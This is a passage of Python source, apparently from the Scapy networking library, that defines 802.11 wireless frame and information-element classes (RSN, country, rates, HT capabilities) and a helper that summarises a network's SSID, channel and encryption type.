pkt.present.L_SIG),\n        # TLV fields\n        ConditionalField(\n            ReversePadField(\n                PacketListField(\"tlvs\", [], RadioTapTLV),\n                4\n            ),\n            lambda pkt: pkt.present and pkt.present.TLV,\n        ),\n        # Remaining\n        StrLenField('notdecoded', \"\", length_from=lambda pkt: 0)\n    ]\n\n    def guess_payload_class(self, payload):\n        if self.present and self.present.Flags and self.Flags.FCS:\n            return Dot11FCS\n        return Dot11\n\n    def post_dissect(self, s):\n        length = max(self.len - len(self.original) + len(s), 0)\n        self.notdecoded = s[:length]\n        return s[length:]\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            p = p[:2] + struct.pack(\"!H\", len(p))[::-1] + p[4:]\n        return p + pay\n\n\n##########\n# 802.11 #\n##########\n\n# Note:\n# 802.11-2016 includes the spec for\n# 802.11abdghijekrywnpzvus,ae,aa,ad,ac,af\n\n# 802.11-2016 9.2\n\n# 802.11-2016 9.2.4.1.3\n_dot11_subtypes = {\n    0: {  # Management\n        0: \"Association Request\",\n        1: \"Association Response\",\n        2: \"Reassociation Request\",\n        3: \"Reassociation Response\",\n        4: \"Probe Request\",\n        5: \"Probe Response\",\n        6: \"Timing Advertisement\",\n        8: \"Beacon\",\n        9: \"ATIM\",\n        10: \"Disassociation\",\n        11: \"Authentication\",\n        12: \"Deauthentication\",\n        13: \"Action\",\n        14: \"Action No Ack\",\n    },\n    1: {  # Control\n        2: \"Trigger\",\n        3: \"TACK\",\n        4: \"Beamforming Report Poll\",\n        5: \"VHT/HE NDP Announcement\",\n        6: \"Control Frame Extension\",\n        7: \"Control Wrapper\",\n        8: \"Block Ack Request\",\n        9: \"Block Ack\",\n        10: \"PS-Poll\",\n        11: \"RTS\",\n        12: \"CTS\",\n        13: \"Ack\",\n        14: \"CF-End\",\n        15: \"CF-End+CF-Ack\",\n    },\n    2: {  # Data\n        0: \"Data\",\n        1: \"Data+CF-Ack\",\n        2: \"Data+CF-Poll\",\n        3: \"Data+CF-Ack+CF-Poll\",\n        4: \"Null (no data)\",\n        5: \"CF-Ack (no data)\",\n        6: \"CF-Poll (no data)\",\n        7: \"CF-Ack+CF-Poll (no data)\",\n        8: \"QoS Data\",\n        9: \"QoS Data+CF-Ack\",\n        10: \"QoS Data+CF-Poll\",\n        11: \"QoS Data+CF-Ack+CF-Poll\",\n        12: \"QoS Null (no data)\",\n        14: \"QoS CF-Poll (no data)\",\n        15: \"QoS CF-Ack+CF-Poll (no data)\"\n    },\n    3: {  # Extension\n        0: \"DMG Beacon\",\n        1: \"S1G Beacon\"\n    }\n}\n\n_dot11_cfe = {\n    2: \"Poll\",\n    3: \"SPR\",\n    4: \"Grant\",\n    5: \"DMG CTS\",\n    6: \"DMG DTS\",\n    7: \"Grant Ack\",\n    8: \"SSW\",\n    9: \"SSW-Feedback\",\n    10: \"SSW-Ack\",\n}\n\n\n_dot11_addr_meaning = [\n    [  # Management: 802.11-2016 9.3.3.2\n        \"RA=DA\", \"TA=SA\", \"BSSID/STA\", None,\n    ],\n    [  # Control\n        \"RA\", \"TA\", None, None\n    ],\n    [  # Data: 802.11-2016 9.3.2.1: Table 9-26\n        [[\"RA=DA\", \"RA=DA\"], [\"RA=BSSID\", \"RA\"]],\n        [[\"TA=SA\", \"TA=BSSID\"], [\"TA=SA\", \"TA\"]],\n        [[\"BSSID\", \"SA\"], [\"DA\", \"DA\"]],\n        [[None, None], [\"SA\", \"BSSID\"]],\n    ],\n    [  # Extension\n        \"BSSID\", None, None, None\n    ],\n]\n\n\nclass _Dot11MacField(MACField):\n    \"\"\"\n    A MACField that displays the address type depending on the\n    802.11 flags\n    \"\"\"\n    __slots__ = [\"index\"]\n\n    def __init__(self, name, default, index):\n        self.index = index\n        super(_Dot11MacField, self).__init__(name, default)\n\n    def i2repr(self, pkt, val):\n        s = super(_Dot11MacField, self).i2repr(pkt, val)\n        meaning = pkt.address_meaning(self.index)\n        if meaning:\n            return \"%s (%s)\" % (s, meaning)\n        return s\n\n\n# 802.11-2020 9.2.4.1.1\nclass Dot11(Packet):\n    name = \"802.11\"\n    fields_desc = [\n        BitMultiEnumField(\"subtype\", 0, 4, _dot11_subtypes,\n                          lambda pkt: pkt.type),\n        BitEnumField(\"type\", 0, 2, [\"Management\", \"Control\", \"Data\",\n                                    \"Extension\"]),\n        BitField(\"proto\", 0, 2),\n        ConditionalField(\n            BitEnumField(\"cfe\", 0, 4, _dot11_cfe),\n            lambda pkt: (pkt.type, pkt.subtype) == (1, 6)\n        ),\n        MultipleTypeField(\n            [\n                (\n                    FlagsField(\"FCfield\", 0, 4,\n                               [\"pw_mgt\", \"MD\", \"protected\", \"order\"]),\n                    lambda pkt: (pkt.type, pkt.subtype) == (1, 6)\n                ),\n                (\n                    FlagsField(\"FCfield\", 0, 2,\n                               [\"security\", \"AP_PM\"]),\n                    lambda pkt: (pkt.type, pkt.subtype) == (3, 1)\n                )\n            ],\n            FlagsField(\"FCfield\", 0, 8,\n                       [\"to_DS\", \"from_DS\", \"MF\", \"retry\",\n                        \"pw_mgt\", \"MD\", \"protected\", \"order\"])\n        ),\n        ConditionalField(\n            BitField(\"FCfield_bw\", 0, 3),\n            lambda pkt: (pkt.type, pkt.subtype) == (3, 1)\n        ),\n        ConditionalField(\n            FlagsField(\"FCfield2\", 0, 3,\n                       [\"next_tbtt\", \"comp_ssid\", \"ano\"]),\n            lambda pkt: (pkt.type, pkt.subtype) == (3, 1)\n        ),\n        LEShortField(\"ID\", 0),\n        _Dot11MacField(\"addr1\", ETHER_ANY, 1),\n        ConditionalField(\n            _Dot11MacField(\"addr2\", ETHER_ANY, 2),\n            lambda pkt: (pkt.type not in {1, 3} or\n                         pkt.subtype in [0x4, 0x5, 0x6, 0x8, 0x9, 0xa, 0xb, 0xe, 0xf]),\n        ),\n        ConditionalField(\n            _Dot11MacField(\"addr3\", ETHER_ANY, 3),\n            lambda pkt: (pkt.type in [0, 2] or\n                         ((pkt.type, pkt.subtype) == (1, 6) and pkt.cfe == 6)),\n        ),\n        ConditionalField(LEShortField(\"SC\", 0), lambda pkt: pkt.type not in {1, 3}),\n        ConditionalField(\n            _Dot11MacField(\"addr4\", ETHER_ANY, 4),\n            lambda pkt: (pkt.type == 2 and\n                         pkt.FCfield & 3 == 3),  # from_DS+to_DS\n        )\n    ]\n\n    def mysummary(self):\n        # Supports both Dot11 and Dot11FCS\n        return self.sprintf(\"802.11 %%%s.type%% %%%s.subtype%% %%%s.addr2%% > %%%s.addr1%%\" % ((self.__class__.__name__,) * 4))  # noqa: E501\n\n    def guess_payload_class(self, payload):\n        if self.type == 0x02 and (\n                0x08 <= self.subtype <= 0xF and self.subtype != 0xD):\n            return Dot11QoS\n        elif hasattr(self.FCfield, \"protected\") and self.FCfield.protected:\n            # When a frame is handled by encryption, the Protected Frame bit\n            # (previously called WEP bit) is set to 1, and the Frame Body\n            # begins with the appropriate cryptographic header.\n            return Dot11Encrypted\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n    def answers(self, other):\n        if isinstance(other, Dot11):\n            if self.type == 0:  # management\n                if self.addr1.lower() != other.addr2.lower():  # check resp DA w/ req SA  # noqa: E501\n                    return 0\n                if (other.subtype, self.subtype) in [(0, 1), (2, 3), (4, 5)]:\n                    return 1\n                if self.subtype == other.subtype == 11:  # auth\n                    return self.payload.answers(other.payload)\n            elif self.type == 1:  # control\n                return 0\n            elif self.type == 2:  # data\n                return self.payload.answers(other.payload)\n            elif self.type == 3:  # reserved\n                return 0\n        return 0\n\n    def address_meaning(self, index):\n        \"\"\"\n        Return the meaning of the address[index] considering the context\n        \"\"\"\n        if index not in [1, 2, 3, 4]:\n            raise ValueError(\"Wrong index: should be [1, 2, 3, 4]\")\n        index = index - 1\n        if self.type == 0:  # Management\n            return _dot11_addr_meaning[0][index]\n        elif self.type == 1:  # Control\n            if (self.type, self.subtype) == (1, 6) and self.cfe == 6:\n                return [\"RA\", \"NAV-SA\", \"NAV-DA\"][index]\n            return _dot11_addr_meaning[1][index]\n        elif self.type == 2:  # Data\n            meaning = _dot11_addr_meaning[2][index][\n                self.FCfield.to_DS\n            ][self.FCfield.from_DS]\n            if meaning and index in [2, 3]:  # Address 3-4\n                if isinstance(self.payload, Dot11QoS):\n                    # MSDU and Short A-MSDU\n                    if self.payload.A_MSDU_Present:\n                        meaning = \"BSSID\"\n            return meaning\n        elif self.type == 3:  # Extension\n            return _dot11_addr_meaning[3][index]\n        return None\n\n    def unwep(self, key=None, warn=1):\n        if self.FCfield & 0x40 == 0:\n            if warn:\n                warning(\"No WEP to remove\")\n            return\n        if isinstance(self.payload.payload, NoPayload):\n            if key or conf.wepkey:\n                self.payload.decrypt(key)\n            if isinstance(self.payload.payload, NoPayload):\n                if warn:\n                    warning(\"Dot11 can't be decrypted. Check conf.wepkey.\")\n                return\n        self.FCfield &= ~0x40\n        self.payload = self.payload.payload\n\n\nclass Dot11FCS(Dot11):\n    name = \"802.11-FCS\"\n    match_subclass = True\n    fields_desc = Dot11.fields_desc + [FCSField(\"fcs\", None, fmt=\"<I\")]\n\n    def compute_fcs(self, s):\n        return struct.pack(\"!I\", crc32(s) & 0xffffffff)[::-1]\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.fcs is None:\n            p = p[:-4] + self.compute_fcs(p[:-4])\n        return p\n\n\nclass Dot11QoS(Packet):\n    name = \"802.11 QoS\"\n    fields_desc = [BitField(\"A_MSDU_Present\", 0, 1),\n                   BitField(\"Ack_Policy\", 0, 2),\n                   BitField(\"EOSP\", 0, 1),\n                   BitField(\"TID\", 0, 4),\n                   ByteField(\"TXOP\", 0)]\n\n    def guess_payload_class(self, payload):\n        if isinstance(self.underlayer, Dot11):\n            if self.underlayer.FCfield.protected:\n                return Dot11Encrypted\n        return Packet.guess_payload_class(self, payload)\n\n\ncapability_list = [\"res8\", \"res9\", \"short-slot\", \"res11\",\n                   \"res12\", \"DSSS-OFDM\", \"res14\", \"res15\",\n                   \"ESS\", \"IBSS\", \"CFP\", \"CFP-req\",\n                   \"privacy\", \"short-preamble\", \"PBCC\", \"agility\"]\n\nreason_code = {0: \"reserved\", 1: \"unspec\", 2: \"auth-expired\",\n               3: \"deauth-ST-leaving\",\n               4: \"inactivity\", 5: \"AP-full\", 6: \"class2-from-nonauth\",\n               7: \"class3-from-nonass\", 8: \"disas-ST-leaving\",\n               9: \"ST-not-auth\"}\n\nstatus_code = {0: \"success\", 1: \"failure\", 10: \"cannot-support-all-cap\",\n               11: \"inexist-asso\", 12: \"asso-denied\", 13: \"algo-unsupported\",\n               14: \"bad-seq-num\", 15: \"challenge-failure\",\n               16: \"timeout\", 17: \"AP-full\", 18: \"rate-unsupported\"}\n\n\nclass _Dot11EltUtils(Packet):\n    \"\"\"\n    Contains utils for classes that have Dot11Elt as payloads\n    \"\"\"\n    def network_stats(self):\n        \"\"\"Return a dictionary containing a summary of the Dot11\n        elements fields\n        \"\"\"\n        summary = {}\n        crypto = set()\n        p = self.payload\n        while isinstance(p, Dot11Elt):\n            # Avoid overriding already-set SSID values because it is not part\n            # of the standard and it protects from parsing bugs,\n            # see https://github.com/secdev/scapy/issues/2683\n            if p.ID == 0 and \"ssid\" not in summary:\n                summary[\"ssid\"] = plain_str(p.info)\n            elif p.ID == 3:\n                summary[\"channel\"] = ord(p.info)\n            elif isinstance(p, Dot11EltCountry):\n                summary[\"country\"] = plain_str(p.country_string[:2])\n                country_descriptor_types = {\n                    b\"I\": \"Indoor\",\n                    b\"O\": \"Outdoor\",\n                    b\"X\": \"Non-country\",\n                    b\"\\xff\": \"Ignored\"\n                }\n                summary[\"country_desc_type\"] = country_descriptor_types.get(\n                    p.country_string[-1:]\n                )\n            elif isinstance(p, Dot11EltRates):\n                rates = [(x & 0x7f) / 2. for x in p.rates]\n                if \"rates\" in summary:\n                    summary[\"rates\"].extend(rates)\n                else:\n                    summary[\"rates\"] = rates\n            elif isinstance(p, Dot11EltRSN):\n                wpa_version = \"WPA2\"\n                # WPA3-only:\n                # - AP shall at least enable AKM suite selector 00-0F-AC:8\n                # - AP shall not enable AKM suite selector 00-0F-AC:2 and\n                #   00-0F-AC:6\n                # - AP shall set MFPC and MFPR to 1\n                # - AP shall not enable WEP and TKIP\n                # WPA3-transition:\n                # - AP shall at least enable AKM suite selector 00-0F-AC:2\n                #   and 00-0F-AC:8\n                # - AP shall set MFPC to 1 and MFPR to 0\n                if any(x.suite == 8 for x in p.akm_suites) and \\\n                        all(x.suite not in [2, 6] for x in p.akm_suites) and \\\n                        p.mfp_capable and p.mfp_required and \\\n                        all(x.cipher not in [1, 2, 5]\n                            for x in p.pairwise_cipher_suites):\n                    # WPA3 only mode\n                    wpa_version = \"WPA3\"\n                elif any(x.suite == 8 for x in p.akm_suites) and \\\n                        any(x.suite == 2 for x in p.akm_suites) and \\\n                        p.mfp_capable and not p.mfp_required:\n                    # WPA3 transition mode\n                    wpa_version = \"WPA3-transition\"\n                # Append suite\n                if p.akm_suites:\n                    auth = p.akm_suites[0].sprintf(\"%suite%\")\n                    crypto.add(wpa_version + \"/%s\" % auth)\n                else:\n                    crypto.add(wpa_version)\n            elif p.ID == 221:\n                if isinstance(p, Dot11EltMicrosoftWPA):\n                    if p.akm_suites:\n                        auth = p.akm_suites[0].sprintf(\"%suite%\")\n                        crypto.add(\"WPA/%s\" % auth)\n                    else:\n                        crypto.add(\"WPA\")\n            p = p.payload\n        if not crypto and hasattr(self, \"cap\"):\n            if self.cap.privacy:\n                crypto.add(\"WEP\")\n            else:\n                crypto.add(\"OPN\")\n        if crypto:\n            summary[\"crypto\"] = crypto\n        return summary\n\n\n#############\n# 802.11 IE #\n#############\n\n# 802.11-2016 - 9.4.2\n\n_dot11_info_elts_ids = {\n    0: \"SSID\",\n    1: \"Supported Rates\",\n    2: \"FHset\",\n    3: \"DSSS Set\",\n    4: \"CF Set\",\n    5: \"TIM\",\n    6: \"IBSS Set\",\n    7: \"Country\",\n    10: \"Request\",\n    11: \"BSS Load\",\n    12: \"EDCA Set\",\n    13: \"TSPEC\",\n    14: \"TCLAS\",\n    15: \"Schedule\",\n    16: \"Challenge text\",\n    32: \"Power Constraint\",\n    33: \"Power Capability\",\n    36: \"Supported Channels\",\n    37: \"Channel Switch Announcement\",\n    42: \"ERP\",\n    45: \"HT Capabilities\",\n    46: \"QoS Capability\",\n    48: \"RSN\",\n    50: \"Extended Supported Rates\",\n    52: \"Neighbor Report\",\n    61: \"HT Operation\",\n    74: \"Overlapping BSS Scan Parameters\",\n    107: \"Interworking\",\n    127: \"Extended Capabilities\",\n    191: \"VHT Capabilities\",\n    192: \"VHT Operation\",\n    221: \"Vendor Specific\"\n}\n\n# Backward compatibility\n_dot11_elt_deprecated_names = {\n    \"Rates\": 1,\n    \"DSset\": 3,\n    \"CFset\": 4,\n    \"IBSSset\": 6,\n    \"challenge\": 16,\n    \"PowerCapability\": 33,\n    \"Channels\": 36,\n    \"ERPinfo\": 42,\n    \"HTinfo\": 45,\n    \"RSNinfo\": 48,\n    \"ESRates\": 50,\n    \"ExtendendCapatibilities\": 127,\n    \"VHTCapabilities\": 191,\n    \"Vendor\": 221,\n}\n\n_dot11_info_elts_ids_rev = {v: k for k, v in _dot11_info_elts_ids.items()}\n_dot11_info_elts_ids_rev.update(_dot11_elt_deprecated_names)\n_dot11_id_enum = (\n    lambda x: _dot11_info_elts_ids.get(x, x),\n    lambda x: _dot11_info_elts_ids_rev.get(x, x)\n)\n\n\n# 802.11-2020 9.4.2.1\n\nclass Dot11Elt(Packet):\n    \"\"\"\n    A Generic 802.11 Element\n    \"\"\"\n    __slots__ = [\"info\"]\n    name = \"802.11 Information Element\"\n    fields_desc = [ByteEnumField(\"ID\", 0, _dot11_id_enum),\n                   FieldLenField(\"len\", None, \"info\", \"B\"),\n                   StrLenField(\"info\", \"\", length_from=lambda x: x.len,\n                               max_length=255)]\n    show_indent = 0\n\n    def __setattr__(self, attr, val):\n        if attr == \"info\":\n            # Will be caught by __slots__: we need an extra call\n            try:\n                self.setfieldval(attr, val)\n            except AttributeError:\n                pass\n        super(Dot11Elt, self).__setattr__(attr, val)\n\n    def mysummary(self):\n        if self.ID == 0:\n            ssid = plain_str(self.info)\n            return \"SSID='%s'\" % ssid, [Dot11]\n        else:\n            return \"\"\n\n    registered_ies = {}\n\n    @classmethod\n    def register_variant(cls, id=None):\n        id = id or cls.ID.default\n        if id not in cls.registered_ies:\n            cls.registered_ies[id] = cls\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            _id = ord(_pkt[:1])\n            idcls = cls.registered_ies.get(_id, cls)\n            if idcls.dispatch_hook != cls.dispatch_hook:\n                # Vendor has its own dispatch_hook\n                return idcls.dispatch_hook(_pkt=_pkt, *args, **kargs)\n            cls = idcls\n        return cls\n\n    def pre_dissect(self, s):\n        # Backward compatibility: add info to all elements\n        # This allows to introduce new Dot11Elt classes without breaking\n        # previous code\n        if len(s) >= 3:\n            length = orb(s[1])\n            if length > 0 and length <= 255:\n                self.info = s[2:2 + length]\n        return s\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            p = p[:1] + chb(len(p) - 2) + p[2:]\n        return p + pay\n\n\n# 802.11-2020 9.4.2.4\n\nclass Dot11EltDSSSet(Dot11Elt):\n    name = \"802.11 DSSS Parameter Set\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"ID\", 3, _dot11_id_enum),\n        ByteField(\"len\", 1),\n        ByteField(\"channel\", 0),\n    ]\n\n\n# 802.11-2020 9.4.2.11\n\nclass Dot11EltERP(Dot11Elt):\n    name = \"802.11 ERP\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"ID\", 42, _dot11_id_enum),\n        ByteField(\"len\", 1),\n        BitField(\"NonERP_Present\", 0, 1),\n        BitField(\"Use_Protection\", 0, 1),\n        BitField(\"Barker_Preamble_Mode\", 0, 1),\n        BitField(\"res\", 0, 5),\n    ]\n\n\n# 802.11-2020 9.4.2.24.2\n\nclass RSNCipherSuite(Packet):\n    name = \"Cipher suite\"\n    fields_desc = [\n        OUIField(\"oui\", 0x000fac),\n        ByteEnumField(\"cipher\", 0x04, {\n            0x00: \"Use group cipher suite\",\n            0x01: \"WEP-40\",\n            0x02: \"TKIP\",\n            0x03: \"OCB\",\n            0x04: \"CCMP-128\",\n            0x05: \"WEP-104\",\n            0x06: \"BIP-CMAC-128\",\n            0x07: \"Group addressed traffic not allowed\",\n            0x08: \"GCMP-128\",\n            0x09: \"GCMP-256\",\n            0x0A: \"CCMP-256\",\n            0x0B: \"BIP-GMAC-128\",\n            0x0C: \"BIP-GMAC-256\",\n            0x0D: \"BIP-CMAC-256\"\n        })\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\n# 802.11-2020 9.4.2.24.3\n\nclass AKMSuite(Packet):\n    name = \"AKM suite\"\n    fields_desc = [\n        OUIField(\"oui\", 0x000fac),\n        ByteEnumField(\"suite\", 0x01, {\n            0x00: \"Reserved\",\n            0x01: \"802.1X\",\n            0x02: \"PSK\",\n            0x03: \"FT-802.1X\",\n            0x04: \"FT-PSK\",\n            0x05: \"WPA-SHA256\",\n            0x06: \"PSK-SHA256\",\n            0x07: \"TDLS\",\n            0x08: \"SAE\",\n            0x09: \"FT-SAE\",\n            0x0A: \"AP-PEER-KEY\",\n            0x0B: \"WPA-SHA256-SUITE-B\",\n            0x0C: \"WPA-SHA384-SUITE-B\",\n            0x0D: \"FT-802.1X-SHA384\",\n            0x0E: \"FILS-SHA256\",\n            0x0F: \"FILS-SHA384\",\n            0x10: \"FT-FILS-SHA256\",\n            0x11: \"FT-FILS-SHA384\",\n            0x12: \"OWE\"\n        })\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\n# 802.11-2020 9.4.2.24.5\n\nclass PMKIDListPacket(Packet):\n    name = \"PMKIDs\"\n    fields_desc = [\n        LEFieldLenField(\"nb_pmkids\", None, count_of=\"pmkid_list\"),\n        FieldListField(\n            \"pmkid_list\",\n            None,\n            XStrFixedLenField(\"\", \"\", length=16),\n            count_from=lambda pkt: pkt.nb_pmkids\n        )\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\n# 802.11-2020 9.4.2.24.1\n\nclass Dot11EltRSN(Dot11Elt):\n    name = \"802.11 RSN information\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"ID\", 48, _dot11_id_enum),\n        ByteField(\"len\", None),\n        LEShortField(\"version\", 1),\n        PacketField(\"group_cipher_suite\", RSNCipherSuite(), RSNCipherSuite),\n        LEFieldLenField(\n            \"nb_pairwise_cipher_suites\",\n            None,\n            count_of=\"pairwise_cipher_suites\"\n        ),\n        PacketListField(\n            \"pairwise_cipher_suites\",\n            [RSNCipherSuite()],\n            RSNCipherSuite,\n            count_from=lambda p: p.nb_pairwise_cipher_suites\n        ),\n        LEFieldLenField(\n            \"nb_akm_suites\",\n            None,\n            count_of=\"akm_suites\"\n        ),\n        PacketListField(\n            \"akm_suites\",\n            [AKMSuite()],\n            AKMSuite,\n            count_from=lambda p: p.nb_akm_suites\n        ),\n        # RSN Capabilities\n        # 802.11-2020 9.4.2.24.4\n        BitField(\"mfp_capable\", 1, 1),\n        BitField(\"mfp_required\", 1, 1),\n        BitField(\"gtksa_replay_counter\", 0, 2),\n        BitField(\"ptksa_replay_counter\", 0, 2),\n        BitField(\"no_pairwise\", 0, 1),\n        BitField(\"pre_auth\", 0, 1),\n        BitField(\"reserved\", 0, 1),\n        BitField(\"ocvc\", 0, 1),\n        BitField(\"extended_key_id\", 0, 1),\n        BitField(\"pbac\", 0, 1),\n        BitField(\"spp_a_msdu_required\", 0, 1),\n        BitField(\"spp_a_msdu_capable\", 0, 1),\n        BitField(\"peer_key_enabled\", 0, 1),\n        BitField(\"joint_multiband_rsna\", 0, 1),\n        # Theoretically we could use mfp_capable/mfp_required to know if those\n        # fields are present, but some implementations poorly implement it.\n        # In practice, do as wireshark: guess using offset.\n        ConditionalField(\n            PacketField(\"pmkids\", PMKIDListPacket(), PMKIDListPacket),\n            lambda pkt: (\n                True if pkt.len is None else\n                pkt.len - (\n                    12 +\n                    (pkt.nb_pairwise_cipher_suites or 0) * 4 +\n                    (pkt.nb_akm_suites or 0) * 4\n                ) >= 2\n            )\n        ),\n        ConditionalField(\n            PacketField(\"group_management_cipher_suite\",\n                        RSNCipherSuite(cipher=0x6), RSNCipherSuite),\n            lambda pkt: (\n                True if pkt.len is None else\n                pkt.len - (\n                    12 +\n                    (pkt.nb_pairwise_cipher_suites or 0) * 4 +\n                    (pkt.nb_akm_suites or 0) * 4 +\n                    (2 if pkt.pmkids else 0) +\n                    (pkt.pmkids and pkt.pmkids.nb_pmkids or 0) * 16\n                ) >= 4\n            )\n        )\n    ]\n\n\nclass Dot11EltCountryConstraintTriplet(Packet):\n    name = \"802.11 Country Constraint Triplet\"\n    fields_desc = [\n        ByteField(\"first_channel_number\", 1),\n        ByteField(\"num_channels\", 24),\n        ByteField(\"mtp\", 0)\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass Dot11EltCountry(Dot11Elt):\n    name = \"802.11 Country\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"ID\", 7, _dot11_id_enum),\n        ByteField(\"len\", None),\n        StrFixedLenField(\"country_string\", b\"\\0\\0\\0\", length=3),\n        MayEnd(PacketListField(\n            \"descriptors\",\n            [],\n            Dot11EltCountryConstraintTriplet,\n            length_from=lambda pkt: (\n                pkt.len - 3 - (pkt.len % 3)\n            )\n        )),\n        # When this extension is last, padding appears to be omitted\n        ConditionalField(\n            ByteField(\"pad\", 0),\n            # The length should be 3 bytes per each triplet, and 3 bytes for the\n            # country_string field. The standard dictates that the element length\n            # must be even, so if the result is odd, add a padding byte.\n            # Some transmitters don't comply with the standard, so instead of assuming\n            # the length, we test whether there is a padding byte.\n            # Some edge cases are still not covered, for example, if the tag length\n            # (pkt.len) is an arbitrary number.\n            lambda pkt: ((len(pkt.descriptors) + 1) % 2) if pkt.len is None else (pkt.len % 3)  # noqa: E501\n        )\n    ]\n\n\nclass _RateField(ByteField):\n    def i2repr(self, pkt, val):\n        if val is None:\n            return \"\"\n        s = str((val & 0x7f) / 2.)\n        if val & 0x80:\n            s += \"(B)\"\n        return s + \" Mbps\"\n\n\nclass Dot11EltRates(Dot11Elt):\n    name = \"802.11 Rates\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"ID\", 1, _dot11_id_enum),\n        ByteField(\"len\", None),\n        FieldListField(\n            \"rates\",\n            [0x82],\n            _RateField(\"\", 0),\n            length_from=lambda p: p.len\n        )\n    ]\n\n\nDot11EltRates.register_variant(50)  # Extended rates\n\n\nclass Dot11EltHTCapabilities(Dot11Elt):\n    name = \"802.11 HT Capabilities\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"ID\", 45, _dot11_id_enum),\n        ByteField(\"len\", None),\n        # HT Capabilities Info: 2B\n        BitField(\"L_SIG_TXOP_Protection\", 0, 1, tot_size=-2),\n        BitField(\"Forty_Mhz_Intolerant\", 0, 1),\n        BitField(\"PSMP\", 0, 1),\n        BitField(\"DSSS_CCK\", 0, 1),\n        BitEnumField(\"Max_A_MSDU\", 0, 1, {0: \"3839 o\", 1: \"7935 o\"}),\n        BitField(\"Delayed_BlockAck\", 0, 1),\n        BitField(\"Rx_STBC\", 0, 2),\n        BitField(\"Tx_STBC\", 0, 1),\n        BitField(\"Short_GI_40Mhz\", 0, 1),\n        BitField(\"Short_GI_20Mhz\", 0, 1),\n        BitField(\"Green_Field\", 0, 1),\n        BitEnumField(\"SM_Power_Save\", 0, 2,\n                     {0: \"static SM\", 1: \"dynamic SM\", 3: \"disabled\"}),\n        BitEnumField(\"Supported_Channel_Width\", 0, 1,\n                     {0: \"20Mhz\", 1: \"20Mhz+40Mhz\"}),\n        BitField(\"LDPC_Coding_Capability\", 0, 1, end_tot_size=-2),\n        # A-MPDU Parameters: 1B\n        BitField(\"res1\", 0, 3, tot_size=-1),\n        BitField(\"Min_MPDCU_Start_Spacing\", 8, 3),\n        BitField(\"Max_A_MPDU_Length_Exponent\", 3, 2, end_tot_size=-1),\n        # Supported MCS set: 16B\n        BitField(\"res2\", 0, 27, tot_size=-16),\n        BitField(\"TX_Unequal_Modulation\", 0, 1),\n        BitField(\"TX_Max_Spatial_Streams\", 0, 2),\n        BitField(\"TX_RX_MCS_Set_Not_Equal\", 0, 1),\n        BitField(\"TX_MCS_Set_Defined\", 0, 1),\n        BitField(\"res3\", 0, 6),\n        BitField(\"RX_Highest_Supported_Data_Rate\", 0, 10),\n        BitField(\"res4\", 0, 3),\n        BitField(\"RX_MSC_Bitmask\", 0, 77, end_tot_size=-16),\n        # HT Extended capabilities: 2B\n        BitField(\"res5\", 0, 4, tot_size=-2),\n        BitField(\"RD_Responder\", 0, 1),\n        BitField(\"HTC_HT_Support\", 0, 1),\n        BitField(\"MCS_Feedback\", 0, 2),\n        BitField(\"res6\", 0, 5),\n        BitField(\"PCO_Transition_Time\", 0, 2),\n        BitField(\"PCO\", 0, 1, end_tot_size=-2),\n        # TX Beamforming Capabilities TxBF: 4B\n        BitField(\"res7\", 0, 3, tot_size=-4),\n        BitField(\"Channel_Estimation_Capability\", 0, 2),\n        BitField(\"CSI_max_n_Rows_Beamformer_Supported\", 0, 2),\n        BitField(\"Compressed_Steering_n_Beamformer_Antennas_Supported\", 0, 2),\n        BitField(\"Noncompressed_Steering_n_Beamformer_Antennas_Supported\",\n                 0, 2),\n        BitField(\"CSI_n_Beamformer_Antennas_Supported\", 0, 2),\n        BitField(\"Minimal_Grouping\", 0, 2),\n        BitField(\"Explicit_Compressed_Beamforming_Feedback\", 0, 2),\n        BitField(\"Explicit_Noncompressed_Beamforming_Feedback\", 0, 2),\n        BitField(\"Explicit_Transmit_Beamforming_CSI_Feedback\", 0, 2),\n        BitField(\"Explicit_Compressed_Steering\", 0, 1),\n        BitField(\"Explicit_Noncompressed_Steering\", 0, 1),\n        BitField(\"Explicit_CSI_Transmit_Beamforming\", 0, 1),\n        BitField(\"Calibration\", 0, 2),\n        BitField(\"Implicit_Trasmit_Beamforming\", 0, 1),\n        BitField(\"Transmit_NDP\", 0, 1),\n        BitField(\"Receive_NDP\", 0, 1),\n        BitField(\"Transmit_Staggered_Sounding\", 0, 1),\n        BitField(\"Receive_Staggered_Sounding\", 0, 1),\n        BitField(\"Implicit_Transmit_Beamforming_Receiving\", 0, 1,\n                 end_tot_size=-4),\n        # ASEL Capabilities: 1B\n        FlagsField(\"ASEL\", 0, 8, [\n            \"res\",\n            \"Transmit_Sounding_PPDUs\",\n            \"Receive_ASEL\",\n            \"Antenna_Indices_Feedback\",\n            \"Explicit_CSI_Feedback\",\n            \"Explicit_CSI_Feedback_Based_Transmit_ASEL\",\n            \"Antenna_Selection\",\n        ])\n    ]\n\n\nclass Dot11EltVendorSpecific(Dot11Elt):\n    name = \"802.11 Vendor Specific\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"ID\", 221, _dot11_id_enum),\n        ByteField(\"len\", None),\n        OUIField(\"oui\", 0x000000),\n        StrLenField(\"info\", \"\", length_from=lambda x: x.len - 3)\n    ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            oui = struct.unpack(\"!I\", b\"\\x00\" + _pkt[2:5])[0]\n            ouicls = cls.registered_ouis.get(oui, cls)\n            if ouicls.dispatch_hook != cls.dispatch_hook:\n                # Sub-classes can have their own dispatch_hook\n                return ouicls.dispatch_hook(_pkt=_pkt, *args, **kargs)\n            cls = ouicls\n        return cls\n\n    registered_ouis = {}\n\n    @classmethod\n    def register_variant(cls):\n        oui = 